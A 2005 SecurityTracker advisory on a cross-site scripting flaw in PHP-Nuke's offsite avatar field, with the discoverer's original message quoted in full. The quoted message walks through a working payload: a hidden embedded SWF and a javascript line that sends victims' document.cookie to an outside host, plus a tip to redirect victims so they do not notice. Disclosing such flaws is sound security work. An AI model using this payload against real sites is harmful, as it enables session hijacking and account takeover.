PHP-Nuke Input Validation Hole in Offsite Avatar Image Parameter Permits Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1014307
|
|
SecurityTracker URL: http://securitytracker.com/id?1014307
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jun 27 2005
|
Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Description: A vulnerability was reported in PHP-Nuke. A remote user can conduct cross-site scripting attacks.
The link parameter for the offsite avatar image is not properly validated. A remote user can submit a specially crafted value.
Then, when the target user views the avatar image, arbitrary scripting code will be executed by the target user's browser. The code
will originate from the site running the PHP-Nuke software and will run in the security context of that site. As a result, the code
will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data
recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A demonstration
exploit value is provided:
" width=0 height=0><embed src=http://[attacker]/redirect.swf width=0 height=0><img src=http://[attacker]/avatar.bmp
FJLJ discovered this vulnerability.
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
PHP-Nuke software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.phpnuke.org/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: fjlj@wvi.com
|
Message History:
None.
|
Source Message Contents
|
Date: Fri, 24 Jun 2005 14:47:18 +0000
From: fjlj@wvi.com
Subject: PHP nuke XSS vulnerability
|
<strong>phP nuke exploit</strong>
<b>effects:</b>
all versions of php nuke
<b>solution:</b>
better filtering of offsite avatar selection.
in the avatar selection of the profile, u have the option of linking to an offsite image. this is the
perfect place for an exploit.
by placing this line of code into the box it will close the current img tag and hide it.
<b>Code:</b>
" width=0 height=0>
after this code we will now call a specially crafted (not really) flash file from my web site.
<b>Code:</b>
<embed src=http://yourdomain.com/redirect.swf width=0 height=0>
this will view the swf and inside the swf is only one frame "an action frame" and the actio
n will redirect your browser to a site
on my page +document.cookie and in the cookie will be usernames and session ids. essentially enough
to login as whoever it was. that
code is
<b>Code:</b>
geturl("javascript:location.replace('http://yourdomain.com/cookie.html?'+document.cookie)")
in cookie.html u might as well put in a redirect to send them back to the home page or something, as
long as they dont see your code.
;)
now our fullcode is
<b>Code:</b>
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0>
now at the end we have to either start another img tag or close it so this is where i put my avatar
<b>Code:</b>
<img src=http://yourdomain.com/avatar.bmp
this code will add my avatar and the default img tag ending will close it.
our complete exploit code is
<b>Code:</b>
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0><i
mg src=http://yourdomain.com/avatar.bmp
what it will do
1.)close the main img.
2.)open your swf.
3.)redirect them to your site
4.)log the cookie
5.)redirect them back
6.)show an avatar!
exploit found and written by FJLJ
|
|
